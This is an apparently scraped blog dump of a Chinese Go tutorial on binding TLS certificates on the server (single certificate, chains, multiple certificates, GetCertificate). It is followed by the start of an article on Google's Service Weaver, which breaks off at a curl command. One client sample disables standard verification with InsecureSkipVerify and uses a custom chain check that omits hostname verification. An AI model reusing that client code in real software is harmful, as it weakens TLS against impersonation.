writeDataToFile(\u0026quot;ca-key.pem\u0026quot;, caKeyPEM) writeDataToFile(\u0026quot;inter-cert.pem\u0026quot;, interCertPEM) writeDataToFile(\u0026quot;inter-key.pem\u0026quot;, interKeyPEM) writeDataToFile(\u0026quot;leaf-server-cert.pem\u0026quot;, leafCertPEM) writeDataToFile(\u0026quot;leaf-server-key.pem\u0026quot;, leafKeyPEM) writeDataToFile(\u0026quot;leaf-server1-cert.pem\u0026quot;, leafCertPEM1) writeDataToFile(\u0026quot;leaf-server1-key.pem\u0026quot;, leafKeyPEM1) writeDataToFile(\u0026quot;leaf-server2-cert.pem\u0026quot;, leafCertPEM2) writeDataToFile(\u0026quot;leaf-server2-key.pem\u0026quot;, leafKeyPEM2) } 运行这个程序后，当前目录下就会出现如下私钥文件(xx-key.pem)和证书文件(xx-cert.pem)：\n$ls *pem ca-cert.pem inter-cert.pem leaf-server-cert.pem leaf-server1-cert.pem leaf-server2-cert.pem ca-key.pem inter-key.pem leaf-server-key.pem leaf-server1-key.pem leaf-server2-key.pem 制作完证书后，我们就来看看日常使用最多的绑定单一TLS证书的情况。\n2. 绑定单一TLS证书 做过web应用的读者，想必对绑定单一TLS证书的实现方式并不陌生。服务端只需要加载一对服务端私钥与公钥证书即可对外提供基于TLS的安全网络服务，这里一个echo服务为例，我们来看下服务端的代码：\n// tls-certs-binding/bind_single_cert/sever/main.go // 服务端 func startServer(certFile, keyFile string) { // 读取证书和密钥 cert, err := tls.LoadX509KeyPair(certFile, keyFile) if err != nil { log.Fatal(err) } // 创建TLS配置 config := \u0026amp;tls.Config{ Certificates: []tls.Certificate{cert}, } // 启动TLS服务器 listener, err := tls.Listen(\u0026quot;tcp\u0026quot;, \u0026quot;:8443\u0026quot;, config) if err != nil { log.Fatal(err) } defer listener.Close() log.Println(\u0026quot;Server started\u0026quot;) for { conn, err := listener.Accept() if err != nil { log.Println(err) continue } handleConnection(conn) } } func handleConnection(conn net.Conn) { defer conn.Close() // 处理连接... // 循环读取客户端的数据 for { buf := make([]byte, 1024) n, err := conn.Read(buf) if err != nil { // 读取失败则退出 return } // 回显数据给客户端 s := string(buf[:n]) fmt.Printf(\u0026quot;recv data: %s\\n\u0026quot;, s) conn.Write(buf[:n]) } } func main() { // 启动服务器 startServer(\u0026quot;leaf-server-cert.pem\u0026quot;, \u0026quot;leaf-server-key.pem\u0026quot;) } 根据TLS的原理，客户端在与服务端的握手过程中，服务端会将服务端证书(leaf-server-cert.pem)发到客户端供后者验证，客户端使用服务器公钥证书校验服务器身份。这一过程的实质是客户端利用CA证书中的公钥或中间CA证书中的公钥对服务端证书中由CA私钥或中间CA私钥签名的数据进行验签。\n// tls-certs-binding/bind_single_cert/client/main.go func main() { caCert, err := ioutil.ReadFile(\u0026quot;inter-cert.pem\u0026quot;) if err != nil { log.Fatal(err) } caCertPool := x509.NewCertPool() caCertPool.AppendCertsFromPEM(caCert) config := \u0026amp;tls.Config{ RootCAs: caCertPool, } conn, err := tls.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;server.com:8443\u0026quot;, config) if err != nil { log.Fatal(err) } defer conn.Close() // 每秒发送信息 ticker := time.NewTicker(time.Second) for range ticker.C { msg := \u0026quot;hello, tls\u0026quot; conn.Write([]byte(msg)) // 读取回复 buf := make([]byte, len(msg)) conn.Read(buf) log.Println(string(buf)) } } 这里我们使用了签发了leaf-server-cert.pem证书的中间CA(inter-cert.pem)来验证服务端证书(leaf-server-cert.pem)的合法性，毫无疑问这是会成功的！\n// server $go run main.go 2023/10/05 22:49:17 Server started // client $go run main.go 2023/10/05 22:49:22 hello, tls 2023/10/05 22:49:23 hello, tls ... ... 注：运行上述代码之前，需修改/etc/hosts文件，添加server.com的IP为127.0.0.1。\n不过要注意的是，在这里用CA根证书(ca-cert.pem)直接验证叶子证书(leaf-server-cert.pem)会失败，因为根证书不是叶子证书的直接签发者，必须通过验证证书链来建立根证书和叶子证书之间的信任链。\n3. 证书链 实际生产中，服务器实体证书和根证书分别只有一张，但中间证书可以有多张，这些中间证书在客户端并不一定存在，这就可能导致客户端与服务端的连接无法建立。通过openssl命令也可以印证这一点：\n// 在make_certs目录下 // CA根证书无法直接验证叶子证书 $openssl verify -CAfile ca-cert.pem leaf-server-cert.pem leaf-server-cert.pem: O = Go Server, CN = server.com error 20 at 0 depth lookup:unable to get local issuer certificate // 证书链不完整，也无法验证 $openssl verify -CAfile inter-cert.pem leaf-server-cert.pem leaf-server-cert.pem: O = Go Intermediate CA error 2 at 1 depth lookup:unable to get issuer certificate // 需要用完整证书链来验证 $openssl verify -CAfile ca-cert.pem -untrusted inter-cert.pem leaf-server-cert.pem leaf-server-cert.pem: OK 为此在建连阶段，服务端不仅要将服务器实体证书发给客户端，还要发送完整的证书链(如下图所示)。\n证书链的最顶端是CA根证书，它的签名值是自己签名的，验证签名的公钥就包含在根证书中，根证书的签发者（Issuer）与使用者（Subject）是相同的。除了根证书，每个证书的签发者（Issuer）是它的上一级证书的使用者（Subject）。以上图为例，下列关系是成立的：\n- ca-cert.pem的Issuer == ca-cert.pem的Subject - inter1-cert.pem的Issuer == ca-cert.pem的Subject - inter2-cert.pem的Issuer == inter1-cert.pem的Subject ... ... - interN-cert.pem的Issuer == interN-1-cert.pem的Subject - leaf-server-cert.pem的Issuer == interN-cert.pem的Subject 每张证书包含的重要信息是签发者(Issuer)、数字签名算法、签名值、使用者（Subject）域名、使用者公钥。除了根证书，每个证书（比如inter2-cert.pem证书）被它的上一级证书（比如inter1-cert.pem证书）对应的私钥签名，签名值包含在证书中，上一级证书包含的公钥可以用来验证该证书中的签名值(inter2-cert.pem证书可以用来验证inter1-cert.pem证书中的签名值)。\n那么如何在服务端返回证书链呢？如何在客户端接收并验证证书链呢？我们来看下面示例。在这个示例中，客户端仅部署了根证书(ca-cert.pem)，而服务端需要将服务证书与签发服务证书的中间CA证书以证书链的形式返回给客户端。\n我们先来看服务端：\n// tls-certs-binding/bind_single_cert/server-with-certs-chain/main.go // 服务端 func startServer(certFile, keyFile string) { // 读取证书和密钥 cert, err := tls.LoadX509KeyPair(certFile, keyFile) if err != nil { log.Fatal(err) } interCertBytes, err := os.ReadFile(\u0026quot;inter-cert.pem\u0026quot;) if err != nil { log.Fatal(err) } interCertblock, _ := pem.Decode(interCertBytes) // 将中间证书添加到证书链 cert.Certificate = append(cert.Certificate, interCertblock.Bytes) // 创建TLS配置 config := \u0026amp;tls.Config{ Certificates: []tls.Certificate{cert}, } // 启动TLS服务器 listener, err := tls.Listen(\u0026quot;tcp\u0026quot;, \u0026quot;:8443\u0026quot;, config) if err != nil { log.Fatal(err) } defer listener.Close() log.Println(\u0026quot;Server started\u0026quot;) for { conn, err := listener.Accept() if err != nil { log.Println(err) continue } handleConnection(conn) } } 我们看到：服务端在加载完服务端证书后，又将中间CA证书inter-cert.pem attach到cert.Certificate，这样cert.Certificate中就构造出了一个证书链，而不单单是一个服务端证书了。\n我们要注意证书链构造时的顺序，这里按照的是如下顺序构造证书链的：\n- 服务端证书 (leaf certificate) - 中间CA证书N - 中间CA证书N-1 ... ... - 中间CA证书2 - 中间CA证书1 如果客户端没有根CA证书 (root certificate)，在服务端构造证书链时，需要将根CA证书作为最后一个证书attach到证书链中。\n下面则是客户端验证证书链的代码：\n// tls-certs-binding/bind_single_cert/client-verify-certs-chain/main.go func main() { // 加载ca-cert.pem caCertBytes, err := os.ReadFile(\u0026quot;ca-cert.pem\u0026quot;) if err != nil { log.Fatal(err) } caCertblock, _ := pem.Decode(caCertBytes) caCert, err := x509.ParseCertificate(caCertblock.Bytes) if err != nil { log.Fatal(err) } // 创建TLS配置 config := \u0026amp;tls.Config{ InsecureSkipVerify: true, // trigger to call VerifyPeerCertificate // 设置证书验证回调函数 VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error { // 解析服务端返回的证书链(顺序：server-cert.pem, inter-cert.pem，inter-cert.pem's issuer...) var issuer *x509.Certificate var cert *x509.Certificate var err error if len(rawCerts) == 0 { return errors.New(\u0026quot;no server certificate found\u0026quot;) } issuer = caCert for i := len(rawCerts) - 1; i \u0026gt;= 0; i-- { cert, err = x509.ParseCertificate(rawCerts[i]) if err != nil { return err } if !verifyCert(issuer, cert) { return errors.New(\u0026quot;verifyCert failed\u0026quot;) } issuer = cert } return nil }, } conn, err := tls.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;server.com:8443\u0026quot;, config) if err != nil { log.Fatal(err) } defer conn.Close() // 每秒发送信息 ticker := time.NewTicker(time.Second) for range ticker.C { msg := \u0026quot;hello, tls\u0026quot; conn.Write([]byte(msg)) // 读取回复 buf := make([]byte, len(msg)) conn.Read(buf) log.Println(string(buf)) } } // 验证cert是否是issuer的签发 func verifyCert(issuer, cert *x509.Certificate) bool { // 验证证书 certPool := x509.NewCertPool() certPool.AddCert(issuer) // ok opts := x509.VerifyOptions{ Roots: certPool, } _, err := cert.Verify(opts) return err == nil } 从代码可以看到，当正常验证失败或没有使用正常验证的情况下，我们需要将InsecureSkipVerify设置为true才能触发证书链的自定义校验逻辑(VerifyPeerCertificate)。在VerifyPeerCertificate中，我们先用ca根证书校验位于证书链最后的那个证书，验证成功后，用验证成功的证书验证倒数第二个证书，依次类推，知道全部证书都校验ok，说明证书链是可信任的。\n服务端绑定一个证书或一套证书链是最简单的，也是最常见的方案，但在一些场景下，比如考虑支持多个域名、证书轮换等，TLS服务端可能需要绑定多个证书以满足要求。下面我们就来看看如何为TLS服务端绑定多个证书。\n4. 绑定多个TLS证书 这个示例的证书绑定情况如下图：\n我们在服务端部署并绑定了三个证书，三个证书与域名的对应关系如下：\n- 证书leaf-server-cert.pem 对应 server.com - 证书leaf-server1-cert.pem 对应 server1.com - 证书leaf-server2-cert.pem 对应 server2.com 注：在/etc/hosts中添加server1.com和server2.com对应的ip均为127.0.0.1。\n// tls-certs-binding/bind_multi_certs/server/main.go func main() { certFiles := []string{\u0026quot;leaf-server-cert.pem\u0026quot;, \u0026quot;leaf-server1-cert.pem\u0026quot;, \u0026quot;leaf-server2-cert.pem\u0026quot;} keyFiles := []string{\u0026quot;leaf-server-key.pem\u0026quot;, \u0026quot;leaf-server1-key.pem\u0026quot;, \u0026quot;leaf-server2-key.pem\u0026quot;} // 启动服务器 startServer(certFiles, keyFiles) } // 服务端 func startServer(certFiles, keyFiles []string) { // 读取证书和密钥 var certs []tls.Certificate for i := 0; i \u0026lt; len(certFiles); i++ { cert, err := tls.LoadX509KeyPair(certFiles[i], keyFiles[i]) if err != nil { log.Fatal(err) } certs = append(certs, cert) } // 创建TLS配置 config := \u0026amp;tls.Config{ Certificates: certs, } // 启动TLS服务器 listener, err := tls.Listen(\u0026quot;tcp\u0026quot;, \u0026quot;:8443\u0026quot;, config) if err != nil { log.Fatal(err) } defer listener.Close() log.Println(\u0026quot;Server started\u0026quot;) for { conn, err := listener.Accept() if err != nil { log.Println(err) continue } handleConnection(conn) } } 我们看到，绑定多个证书与绑定一个证书的原理是完全一样的，tls.Config的Certificates字段原本就是一个切片，可以容纳单个证书，也可以容纳证书链，容纳多个证书也不是问题。\n客户端代码变化不大，我们仅是通过下面代码输出了服务端返回的证书的Subject.CN：\n// tls-certs-binding/bind_multi_certs/client/main.go // 解析连接的服务器证书 certs := conn.ConnectionState().PeerCertificates if len(certs) \u0026gt; 0 { log.Println(\u0026quot;Server CN:\u0026quot;, certs[0].Subject.CommonName) } 接下来我们通过client连接不同的域名，得到如下执行结果：\n// 服务端 $go run main.go 2023/10/06 10:22:38 Server started // 客户端 $go run main.go -server server.com:8443 2023/10/06 10:22:57 Server CN: server.com 2023/10/06 10:22:58 hello, tls $go run main.go -server server1.com:8443 2023/10/06 10:23:02 Server CN: server1.com 2023/10/06 10:23:03 hello, tls 2023/10/06 10:23:04 hello, tls $go run main.go -server server2.com:8443 2023/10/06 10:23:08 Server CN: server2.com 2023/10/06 10:23:09 hello, tls ... ... 我们看到，由于绑定多个域名对应的证书，程序可以支持访问不同域名的请求，并根据请求的域名，返回对应域名的证书。\n5. 自定义证书选择绑定逻辑 无论是单一TLS证书、证书链还是多TLS证书，他们都有一个共同特点，那就是证书的绑定是事先已知的，是一种“静态”模式的绑定；有些场景下，服务端在初始化启动后并不会绑定某个固定的证书，而是根据客户端的连接需求以及特定规则在证书池中选择某个匹配的证书。在这种情况下，我们需要使用GetCertificate回调从自定义的证书池中选择匹配的证书，而不能在用上面示例中那种“静态”模式了。\n我们来看一个自定义证书选择逻辑的示例，下面示意图展示了客户端和服务端的证书部署情况：\n我们主要看一下服务端的代码逻辑变动：\n// tls-certs-binding/bind_custom_logic/server/main.go func startServer(certsPath string) { // 创建TLS配置 config := \u0026amp;tls.Config{ GetCertificate: func(info *tls.ClientHelloInfo) (*tls.Certificate, error) { // 根据clientHello信息选择cert certFile := fmt.Sprintf(\u0026quot;%s/leaf-%s-cert.pem\u0026quot;, certsPath, info.ServerName[:len(info.ServerName)-4]) keyFile := fmt.Sprintf(\u0026quot;%s/leaf-%s-key.pem\u0026quot;, certsPath, info.ServerName[:len(info.ServerName)-4]) // 读取证书和密钥 cert, err := tls.LoadX509KeyPair(certFile, keyFile) return \u0026amp;cert, err }, } ... ... } 我们看到: tls.Config我们建立了一个匿名函数赋值给了GetCertificate字段，该函数的实现逻辑就是根据客户端clientHello信息(tls握手时发送的信息)按照规则从证书池目录中查找并加载对应的证书与其私钥信息。示例使用ServerName来查找带有同名信息的证书。\n例子的运行结果与上面的示例都差不多，这里就不赘述了。\n利用这种动态的证书选择逻辑，我们还可以实现通过执行外部命令来获取证书、从数据库加载证书等。\n6. 小结 通过本文的介绍，我们全面了解了在Go服务端绑定单个、多个TLS证书的各种方式。我们首先介绍了生成自签名证书的方法，这为我们的示例程序奠定了基础。然后我们详细探讨了绑定单证书、证书链、多证书、定制从证书池取特定证书的逻辑等不同机制的用法、优劣势和适用场景。同时，在介绍每种用法时，我们都用代码示例进一步解释了这些绑定方式的具体实现流程。\n单证书TLS简单易理解，运行性能优异。多证书TLS在提高性能、安全性、便利管理等方面有着重要意义。而自定义证书选取逻辑则更加灵活。通过综合运用各种绑定机制，可以使我们的Go语言服务器端更加强大和灵活。\n本文示例所涉及的Go源码可以在这里下载。\n注：代码仓库中的证书和key文件有效期为一年，大家如发现证书已经过期，可以在make_certs目录下重新生成各种证书和私钥并copy到对应的其他目录中去。\n7. 参考资料 《深入浅出 HTTPS：从原理到实战》 – https://book.douban.com/subject/30250772/ Certificate chains and cross-certification – https://en.wikipedia.org/wiki/X.509#Certificate_chains_and_cross-certification “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/10/13/multiple-ways-to-bind-certificates-on-go-tls-server-side/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/multiple-ways-to-bind-certificates-on-go-tls-server-side-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/10/13/multiple-ways-to-bind-certificates-on-go-tls-server-side\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/10/13/multiple-ways-to-bind-certificates-on-go-tls-server-side\"\u003ehttps://tonybai.com/2023/10/13/multiple-ways-to-bind-certificates-on-go-tls-server-side\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e随着互联网的发展，网站提供的服务类型和规模不断扩大，同时也对Web服务的安全性提出了更高的要求。\u003ca href=\"https://tonybai.com/2023/01/13/go-and-tls13\"\u003eTLS(Transport Layer Security)\u003c/a\u003e已然成为Web服务最重要的安全基础设施之一。默认情况下，\u003ca href=\"https://tonybai.com/2015/04/30/go-and-https\"\u003e一个TLS服务器通常只绑定一个证书\u003c/a\u003e，但当服务复杂度增加时，单一证书已然难以满足需求。这时，服务端绑定多个TLS证书就成为一个非常实用的功能。\u003c/p\u003e","title":"Go TLS服务端绑定证书的几种方式"},{"content":"\n本文永久链接 – https://tonybai.com/2023/10/09/service-weaver-coding-in-monolithic-deploy-in-microservices\n分布式应用的主流架构模式演化为微服务架构已经有些年头了。微服务、DevOps、持续交付和容器技术(k8s)是构成最初云原生概念的核心要素。它们相生相拌，共同演进，并推动了云计算全面进入云原生时代。\n云原生应用普遍采用微服务架构，遗留的单体应用程序会逐步演进并拆分为多个微服务，新应用则会直接采用微服务架构进行设计与实现。微服务的好处是显而易见的：\n每个微服务都编译为一个二进制文件并独立部署和扩展，可以提高资源利用率； 一个微服务的崩溃不会影响到其他微服务，限制了错误的传播半径，从而提高了容错能力； 改善了抽象的边界。微服务需要清晰明确的API，降低了代码纠缠不清的可能性； 灵活部署，不同微服务的二进制文件可以以不同频率发布，从而实现更敏捷的代码升级。 … … 不过做过微服务的朋友都知道，微服务架构带来的不仅仅是好处，还有很多挑战：\n单体应用内的模块间可通过内存直接交互，而在微服务架构的应用中，多个微服务需要进行跨进程跨机器的通信，对数据的序列化和反序列化操作必不可少，其开销很难避免，对应用性能是有较大损耗的； 研究表明，三分之二的故障是由于不同版本的微服务之间的交互引发的，这会损害应用的正确性； 每个微服务开发人员都有自己的发布和管理计划，而无法像单体应用那样使用单个二进制文件来统一构建、测试和部署，这给微服务开发管理带来了很高的复杂性； API管理变得复杂。一旦某个微服务发布了，它的API很难在不影响其他使用该API的服务的情况下进行变更，新老API同时存在是常态； 减慢了应用程序开发的速度。在进行会影响多个微服务的更改时，开发人员无法原子地实现和部署这些更改。他们必须仔细计划如何根据自己的发布时间表在n个微服务中引入变更；\n… … 由此可见，微服务并非“银弹”，人们在消除微服务的缺点方面做了很多工作，不可谓不努力，但收效甚微，甚至出现了回归monolith(大单体)的现象。\n今年年初Google发布了一个在这方面的探索成果：Service Weaver。Service Weaver不仅仅是一个分布式应用的开发框架，更是一个旨在减少或消除微服务弊端的探索实验的结论。\nService Weaver到底有何与众不同？它的核心抽象是什么？它的最大优点又是什么呢？在这一篇文章中，我就和大家一起来学习和了解一下Service Weaver这个开发框架。\n1. Service Weaver简介 Service Weaver是Google开源的一个编程框架(programming framework) ，用于编写、部署和管理用Go开发的分布式应用程序。\n注：随着Service Weaver的演进，后续可能会有其他语言的版本。\n使用Service Weaver，你可以像编写在本地机器上运行的传统单进程Go可执行文件一样编写应用程序。然后，将其部署到云中，该框架会将其分解为一组微服务，并将其与云提供商(主要是k8s)集成（如监控、跟踪、日志等）。简单来说，就是**“以单体形式编码，以微服务形式部署”**。\n开篇提过，Google开源的Service Weaver本就是为解决微服务架构在实践中出现的诸多问题而提出的创新思路与实验，为此它提出并实现了三个核心原则：\n在构建阶段，开发人员只需编写模块化的单体程序； 在首次部署和运行阶段，Service Weaver会将逻辑组件分配给物理进程，可以是本地的一个进程，也可以是多个进程，当然最主流的还是分配给运行在公有云提供商k8s的不同pod； 以原子方式升级变更应用，彻底杜绝应用的不同版本间的交互。 这么说依然很抽象，闻名不如见面，接下来我们就用一些例子来看一下Service Weaver是如何践行这三个原则的。\n我们先来看看用Service Weaver开发的“Hello, World”程序长什么样子。\n2. Hello, World 安装Service Weaver很简单，只需执行下面命令：\n$go install github.com/ServiceWeaver/weaver/cmd/weaver@latest $weaver USAGE weaver generate // weaver code generator weaver version // show weaver version weaver single \u0026lt;command\u0026gt; ... // for single process deployments weaver multi \u0026lt;command\u0026gt; ... // for multiprocess deployments weaver ssh \u0026lt;command\u0026gt; ... // for multimachine deployments weaver gke \u0026lt;command\u0026gt; ... // for GKE deployments weaver gke-local \u0026lt;command\u0026gt; ... // for simulated GKE deployments weaver kube \u0026lt;command\u0026gt; ... // for vanilla Kubernetes deployments DESCRIPTION Use the \u0026quot;weaver\u0026quot; command to deploy and manage Weaver applications. The \u0026quot;weaver generate\u0026quot;, \u0026quot;weaver version\u0026quot;, \u0026quot;weaver single\u0026quot;, \u0026quot;weaver multi\u0026quot;, and \u0026quot;weaver ssh\u0026quot; subcommands are baked in, but all other subcommands of the form \u0026quot;weaver \u0026lt;deployer\u0026gt;\u0026quot; dispatch to a binary called \u0026quot;weaver-\u0026lt;deployer\u0026gt;\u0026quot;. \u0026quot;weaver gke status\u0026quot;, for example, dispatches to \u0026quot;weaver-gke status\u0026quot;. 注：Weaver要求Go版本高于1.21。另外在MacOS上安装使用时，官方文档提到要开启export CGO_ENABLED=1; export CC=gcc; 不过CGO_ENABLED=1通常是默认的。另外我使用CC=clang也可以正常安装和使用weaver。\n安装完Weaver后，我们就来看一个基于Weaver的Hello, World示例，了解一下基于Weaver框架开发的应用的基本结构。\n我们创建一个hello目录，然后在hello下面使用go mod init hello来初始化一个go module。这个例子非常简单，hello目录下只有一个main.go：\n// serviceweaver-examples/hello/main.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;log\u0026quot; \u0026quot;github.com/ServiceWeaver/weaver\u0026quot; ) func main() { if err := weaver.Run(context.Background(), serve); err != nil { log.Fatal(err) } } // app is the main component of the application. weaver.Run creates // it and passes it to serve. type app struct { weaver.Implements[weaver.Main] } // serve is called by weaver.Run and contains the body of the application. func serve(context.Context, *app) error { fmt.Println(\u0026quot;Hello, World\u0026quot;) return nil } 我们看到：示例导入了weaver包，然后在main函数中调用weaver.Run函数。Run函数的原型如下：\n// github.com/ServiceWeaver/weaver/weaver.go func Run[T any, P PointerToMain[T]](ctx context.Context, app func(context.Context, *T) error) error weaver充分利用了Go 1.18引入的泛型，Run就是一个泛型函数，它的第二个参数为app，这是一个函数类型的参数。顾名思义，app这个函数封装了整个应用的主运行逻辑。在hello这个示例中，我们为Run的第二个参数传入的是serve。而serve的逻辑非常简单，就是输出“Hello, World”，然后就返回nil了，返回nil表示正常退出。weaver.Run会处理应用的生命周期，比如优雅关闭等，serve函数就只需要关心业务逻辑即可，通过这种方式，通用的服务框架代码和业务代码便分离开来，降低了耦合，提高可维护性。\n到这里，很多读者可能注意到了：由于示例过于简单，serve函数并没有使用传入的第二个参数(类型为*app)，但在用Weaver开发的实用程序中，Run的第二个参数是整个应用的核心，并且app这个类型恰好就是weaver.Run泛型函数中T的类型实参(type argument)。\nRun函数的注释中明确说明：T类型(app)必须是一个struct类型且包含一个weaver.Implements[weaver.Main]的嵌入字段，在该示例中app类型的定义恰是如此：\n// serviceweaver-examples/hello/main.go type app struct { weaver.Implements[weaver.Main] } 说到这里，就不得不提到Service Weaver的核心抽象：组件(component)了！基于Service Weaver框架开发的应用是由一个组件的集合。实际上，Weaver中的组件就是一个普通Go接口的实现，编写代码时，组件间的交互也是通过接口的方法调用完成的。\n那么，上面示例中的组件在哪里呢？上面的示例仅包含一个Weaver应用必须的组件：main组件。app类型就理解为一个main组件，它通过嵌入weaver.Implements[weaver.Main]这个类型实现了weaver.Main接口：\n// Main is the interface implemented by an application's main component. type Main interface{} 对于Weaver应用而言，main组件是不可获取的，如果注释掉app结构体类型中weaver.Implements[weaver.Main]这一行，那么无论执行weaver generate命令还是go run命令，你得到的都会是错误：\n$weaver generate . -: # hello ./main.go:12:22: *app does not satisfy \u0026quot;github.com/ServiceWeaver/weaver\u0026quot;.PointerToMain[app] (missing method implements) /Users/tonybai/Test/Go/service-weaver/hello/main.go:12:12: *app does not satisfy \u0026quot;github.com/ServiceWeaver/weaver\u0026quot;.PointerToMain[app] (missing method implements) $go run . # hello ./weaver_gen.go:34:40: cannot use (*app)(nil) (value of type *app) as \u0026quot;github.com/ServiceWeaver/weaver\u0026quot;.InstanceOf[\u0026quot;github.com/ServiceWeaver/weaver\u0026quot;.Main] value in variable declaration: *app does not implement \u0026quot;github.com/ServiceWeaver/weaver\u0026quot;.InstanceOf[\u0026quot;github.com/ServiceWeaver/weaver\u0026quot;.Main] (missing method implements) ./weaver_gen.go:37:25: cannot use (*app)(nil) (value of type *app) as \u0026quot;github.com/ServiceWeaver/weaver\u0026quot;.Unrouted value in variable declaration: *app does not implement \u0026quot;github.com/ServiceWeaver/weaver\u0026quot;.Unrouted (missing method routedBy) ./main.go:12:22: *app does not satisfy \u0026quot;github.com/ServiceWeaver/weaver\u0026quot;.PointerToMain[app] (missing method implements) 好了，大致了解Weaver应用的结构后，我们来运行一下这个示例：\n$go mod tidy go: finding module for package github.com/ServiceWeaver/weaver go: found github.com/ServiceWeaver/weaver in github.com/ServiceWeaver/weaver v0.21.2 go: downloading modernc.org/ccgo/v3 v3.16.13 go: downloading modernc.org/cc/v3 v3.40.0 go: downloading lukechampine.com/uint128 v1.2.0 go: downloading modernc.org/token v1.0.1 $weaver generate . $go run . ╭───────────────────────────────────────────────────╮ │ app : hello │ │ deployment : ca0fcdf2-d9bc-456b-a668-159688e3cca5 │ ╰───────────────────────────────────────────────────╯ Hello, World 我们看到，在go run执行之前，我们通过weaver generate命令生成一些代码，这些生成的代码放在了weaver_gen.go中，有100多行，是weaver应用运行所必须的stub代码。\nhello, world虽然简单易懂，但对Weaver的核心抽象：逻辑组件(component)的体现并不明显，我们再来看一个复杂一些的例子。\n3. 一个http服务器例子 我们来实现一个http服务器的例子，下面是这个例子的组件逻辑拓扑结构：\n从图中可以看到，这个实例程序一共有三个weaver component：main组件(listener)、reverser组件(用于将输入的字符串反转)和converter组件（用于将输入的字符串变成大写字符串）。\nreverser组件和converter组件都比较简单，每个组件对应的接口仅有一个方法，它们的代码如下：\n// serviceweaver-examples/httpserver/reverser.go package main import ( \u0026quot;context\u0026quot; \u0026quot;github.com/ServiceWeaver/weaver\u0026quot; ) // Reverser component. type Reverser interface { Reverse(context.Context, string) (string, error) } // Implementation of the Reverser component. type reverser struct { weaver.Implements[Reverser] } func (r *reverser) Reverse(_ context.Context, s string) (string, error) { runes := []rune(s) n := len(runes) for i := 0; i \u0026lt; n/2; i++ { runes[i], runes[n-i-1] = runes[n-i-1], runes[i] } return string(runes), nil } // serviceweaver-examples/httpserver/converter.go package main import ( \u0026quot;context\u0026quot; \u0026quot;strings\u0026quot; \u0026quot;github.com/ServiceWeaver/weaver\u0026quot; ) // Converter component. type Converter interface { ToUpper(context.Context, string) (string, error) } // Implementation of the Converter component. type converter struct { weaver.Implements[Converter] } func (r *converter) ToUpper(_ context.Context, s string) (string, error) { return strings.ToUpper(s), nil } 接下来，我们实现这个示例的实现weaver.Main接口的app类型：\n// serviceweaver-examples/httpserver/main.go type app struct { weaver.Implements[weaver.Main] reverser weaver.Ref[Reverser] converter weaver.Ref[Converter] lis weaver.Listener } 这里app结构体类型通过weaver.Ref嵌入了实现了另外两个组件接口的组件实例，Ref函数的定义如下：\n// Ref[T] is a field that can be placed inside a component implementation // struct. T must be a component type. Service Weaver will automatically // fill such a field with a handle to the corresponding component. type Ref[T any] struct { value T } // Get returns a handle to the component of type T. func (r Ref[T]) Get() T { return r.value } 此外，通过泛型类型Ref的Get方法，可以获得对相应组件的访问权。\napp结构体类型中还包含了一个weaver.Listener类型的实例，Listener理论上并非组件，而是Weaver框架提供了网络服务端口监听的实现，可以放置在任何提供网络服务的组件实现内部，比如本示例的app这个main组件。app将reverser、converter和listener聚合在一起，为后续的serve函数实现提供支持。\n接下来，我们看看serve函数的实现：\n// serviceweaver-examples/httpserver/main.go func serve(ctx context.Context, app *app) error { // The lis listener will listen on a random port chosen by the operating // system. This behavior can be changed in the config file. fmt.Printf(\u0026quot;http listener available on %v\\n\u0026quot;, app.lis) // Serve the /reverse endpoint. http.HandleFunc(\u0026quot;/reverse\u0026quot;, func(w http.ResponseWriter, r *http.Request) { name := r.URL.Query().Get(\u0026quot;name\u0026quot;) if name == \u0026quot;\u0026quot; { name = \u0026quot;World\u0026quot; } reversed, err := app.reverser.Get().Reverse(ctx, name) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } fmt.Fprintf(w, \u0026quot;after reversing, name is %s\\n\u0026quot;, reversed) }) // Serve the /convert endpoint. http.HandleFunc(\u0026quot;/convert\u0026quot;, func(w http.ResponseWriter, r *http.Request) { name := r.URL.Query().Get(\u0026quot;name\u0026quot;) if name == \u0026quot;\u0026quot; { name = \u0026quot;World\u0026quot; } converted, err := app.converter.Get().ToUpper(ctx, name) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } fmt.Fprintf(w, \u0026quot;after converting, name is %s\\n\u0026quot;, converted) }) return http.Serve(app.lis, nil) } 我们看到serve函数定义了两个端点/reverse和/convert的Handler函数，并通过http.Serve启动了一个http服务器，http服务器返回，应用退出，否则http服务将一直运行。\n我们来运行一下这个程序：\n$cd serviceweaver-examples/httpserver $go mod tidy $weaver generate . $go run . ╭───────────────────────────────────────────────────╮ │ app : httpserver │ │ deployment : 55827837-896f-4060-88c2-f1f1d953d142 │ ╰───────────────────────────────────────────────────╯ http listener available on [::]:59493 我们看到，示例中的httpserver启动后在59493这个端口监听客户端的连接，我们用curl工具来测试一下：\n$curl 